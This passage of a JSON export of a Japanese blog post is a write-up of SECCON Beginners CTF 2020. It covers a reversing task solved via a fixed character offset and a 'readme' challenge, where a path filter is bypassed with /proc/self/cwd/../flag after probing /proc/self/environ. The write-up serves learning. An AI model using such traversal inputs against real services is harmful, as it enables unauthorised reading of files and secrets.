|.........|\n00000089\n<\/pre><\/div>\n\n\n<p>4\u30d0\u30a4\u30c8\u305a\u3064\u523b\u3093\u3067\u3001<code>ctf4b{...}<\/code>\u306e\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u3068\u6bd4\u8f03\u3059\u308b\u3068\u6570\u5b57\u3068\u305d\u308c\u4ee5\u5916\u3067\u7570\u306a\u308b\u304c\u3001\u4e00\u5b9a\u306e\u30aa\u30d5\u30bb\u30c3\u30c8\u304c\u8ffd\u52a0\u3055\u308c\u3066\u3044\u308b\u3060\u3051\u306e\u6a21\u69d8\u3002\u3068\u3044\u3046\u3053\u3068\u3067\u5404\u6587\u5b57\u306e\u5dee\u5206\u304b\u3089\u5b9f\u969b\u306e\u6587\u5b57\u3092\u63a8\u6e2c\u3057\u3066\u30d5\u30e9\u30b0\u3092\u53d6\u5f97\u3057\u305f\u3002<\/p>\n\n\n\n<p>\u5b9f\u306f\u30b3\u30fc\u30c9\u30dd\u30a4\u30f3\u30c8\u3067\u51e6\u7406\u3059\u308c\u3070\u3001\u6570\u5b57\u3082\u305d\u306e\u4ed6\u3082\u540c\u3058\u30aa\u30d5\u30bb\u30c3\u30c8\u3067\u51e6\u7406\u3067\u304d\u305f\u3089\u3057\u3044\u3002UNICODE\u308f\u304b\u3089\u3093\u2026<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Misc &#8211; readme [Easy]<\/h2>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u5165\u529b\u3059\u308b\u3068\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u3093\u3067\u4e2d\u8eab\u3092\u8fd4\u3057\u3066\u304f\u308c\u308b\u30b5\u30fc\u30d3\u30b9\u304c\u52d5\u3044\u3066\u3044\u308b\u3002<br>\u30d5\u30e9\u30b0\u306e\u30d5\u30a1\u30a4\u30eb\u306f<code>\/home\/ctf\/flag<\/code>\u306b\u3042\u308b\u306e\u3060\u304c\u3001\u5165\u529b\u5024\u306e\u524d\u51e6\u7406\u306e\u6bb5\u968e\u3067\u3001\u7d76\u5bfe\u30d1\u30b9\uff08\u30b9\u30e9\u30c3\u30b7\u30e5\u3067\u59cb\u307e\u308b\uff09\u3067\u306a\u3044\u3068\u3044\u3051\u306a\u3044\u3001\u30d1\u30b9\u306b<code>ctf<\/code>\u3068\u3044\u3046\u6587\u5b57\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u306f\u3044\u3051\u306a\u3044\u3001\u3068\u3044\u3046\u5236\u7d04\u304c\u8ab2\u3055\u308c\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<p>\u5f53\u521d\u306f\u3046\u307e\u3044\u624b\u304c\u601d\u3044\u3064\u304b\u305a\u3001python\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u304b\u3089\u306f\u7121\u8996\u3055\u308c\u308b\u3051\u3069\u6587\u5b57\u5217\u3068\u3057\u3066\u6271\u3063\u305f\u5834\u5408\u306b\u306f\u5b58\u5728\u3057\u3066\u3044\u308b\u3088\u3046\u306a\u5236\u5fa1\u6587\u5b57\u304c\u3042\u308b\u306e\u304b\u3068\u3044\u308d\u3044\u308d\u8a66\u3057\u3066\u307f\u305f\u3051\u3069\u3059\u3079\u3066\u30c0\u30e1\u3002<\/p>\n\n\n\n<p>\u300c\u30b9\u30e9\u30c3\u30b7\u30e5\u3067\u59cb\u307e\u3063\u3066\u306a\u3044\u3068\u3044\u3051\u306a\u3044\u300d\u3068\u3044\u3046\u5236\u7d04\u3092\u5b8c\u5168\u306b\u5fd8\u308c\u3001\u300c\u3053\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u306f\u3069\u3053\u3067\u52d5\u3044\u3066\u3044\u308b\u3093\u3060\u308d\u3046\uff1f\u305d\u3053\u304b\u3089\u76f8\u5bfe\u30d1\u30b9\u3067\u3044\u3051\u306a\u3044\u304b\u300d\u3068\u3044\u3046\u767a\u60f3\u304b\u3089<code>\/proc\/self\/cmdline<\/code>\u3084<code>\/proc\/self\/environ<\/code>\u3092\u898b\u305f\u308a\u3057\u305f\u3068\u3053\u308d\u3067\u4f5c\u696d\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u8868\u3059<code>\/proc\/self\/cwd<\/code>\u306e\u5b58\u5728\u306b\u6c17\u3065\u304d\u3001<code>\/proc\/self\/cwd\/..\/flag<\/code>\u3092\u5165\u529b\u3057\u3066\u30d5\u30e9\u30b0\u3092\u53d6\u5f97\u3057\u305f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6240\u611f\u3068\u304b<\/h2>\n\n\n\n<p>\u666e\u6bb5CTF\u3092\u3084\u308b\u969b\u306f\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30d7\u30ed\u30b0\u30e9\u30e0\u3068\u304b\u306e\u305f\u3081\u306bLinux\u3092\u7528\u610f\u3059\u308b\u306e\u3060\u3051\u3069\u3001\u4eca\u56de\u306fWSL\u306eUbuntu\u3067\u4e8b\u8db3\u308a\u3066\u3001\u5225\u9014Linux\u3092\u7528\u610f\u3057\u306a\u304f\u3066\u3082\u3088\u304b\u3063\u305f\u3002\u3042\u308a\u304c\u3068\u3046Microsoft\u3002<\/p>\n\n\n\n<p>Easy\u554f\u306f\u5168\u90e8\u89e3\u304d\u305f\u304b\u3063\u305f\u3051\u3069Beginner&#8217;s Heap\u3060\u3051\u89e3\u3051\u306a\u304b\u3063\u305f\u3002Heap\u95a2\u4fc2\u306fLinkedList\u306e\u3053\u3068\u3092\u8003\u3048\u308b\u3068\u982d\u304c\u3053\u3093\u304c\u3089\u304c\u3063\u3066\u3088\u304f\u306a\u3044\u3002<br>\u305f\u3060\u3001\u3053\u306e\u554f\u984c\u306fStep-by-step\u3067Heap\u653b\u7565\u3092\u8003\u3048\u3055\u305b\u308b\u554f\u984c\u306b\u306a\u3063\u3066\u304a\u308a\u3001\u3068\u3066\u3082\u826f\u3044\u554f\u984c\u3060\u3063\u305f\u3002\u666e\u901a\u306b\u653b\u7565\u3055\u305b\u308b\u3060\u3051\u306e\u554f\u984c\u4f5c\u308b\u306e\u306b\u6bd4\u3079\u3066\u52b4\u529b\u304c\u3068\u3066\u3082\u591a\u304f\u304b\u304b\u3063\u305f\u3053\u3068\u304c\u60f3\u5b9a\u3055\u308c\u308b\u3002\u6559\u80b2\u30b3\u30f3\u30c6\u30f3\u30c4\u3068\u3057\u3066\u512a\u79c0\u306a\u554f\u984c\u3092\u4f5c\u3089\u308c\u305f\u3053\u3068\u306b\u306f\u79f0\u8cdb\u3092\u9001\u308a\u305f\u3044\u3002<\/p>\n\n\n\n<p>Beginners\u3068\u3044\u3046\u304b\u3089\u3082\u3046\u5c11\u3057\u7c21\u5358\u306a\u30ec\u30d9\u30eb\u304b\u3089\u51fa\u984c\u3055\u308c\u308b\u304b\u3068\u601d\u3063\u3066\u3044\u305f\u306e\u3060\u3051\u3069\u305d\u3046\u3067\u306f\u306a\u304b\u3063\u305f\u3002\u307e\u3042\u3042\u307e\u308a\u30ec\u30d9\u30eb\u4e0b\u3052\u3066\u3057\u307e\u3046\u3068\u30ac\u30c1\u52e2\u306b\u8e42\u8e99\u3055\u308c\u3066\u3057\u307e\u3046\u304b\u3089\u4ed5\u65b9\u306a\u3044\u306d\u3002<\/p>\n\n\n\n<p>\u6700\u8fd1\u306fDFIR\u7cfb\u306e\u77e5\u8b58\u3092\u8eab\u306b\u7740\u3051\u3066\u3044\u3066\u3001\u6b21\u3044\u3067PenTest\u306b\u3082\u624b\u3092\u51fa\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u306a\u306e\u3067\u3001\u4eca\u5f8c\u89e3\u3051\u308b\u554f\u984c\u304c\u5897\u3048\u3066\u3044\u304f\u3068\u3044\u3044\u306a\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3082\u306f\u3084\u65e5\u8a18\u3067\u306f\u306a\u304f\u5e74\u8a18\u3067\u3042\u308b\u3002 SECCON Beginners CTF 2020\u306b\u53c2\u52a0\u3057\u305f\u3002\u5e74\u5b63\u7684\u306b\u306fBeginner\u3058\u3083\u306a\u3044\u3051\u3069\u5168\u7136\u30ec\u30d9\u30eb\u30a2\u30c3\u30d7\u3057\u3066\u306a\u3044\u304b\u3089\u3044\u3044\u306e\u3067\u3059\u3002 Beginner&#8217;s Heap\u4ee5\u5916 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":449,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"cybocfi_hide_featured_image":"","footnotes":""},"categories":[14],"tags":[8],"class_list":["post-448","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","tag-ctf"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/posts\/448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/comments?post=448"}],"version-history":[{"count":45,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/posts\/448\/revisions"}],"predecessor-version":[{"id":550,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/posts\/448\/revisions\/550"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/media\/449"}],"wp:attachment":[{"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/media?parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/categories?post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/emeth.jp\/diary\/wp-json\/wp\/v2\/tags?post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}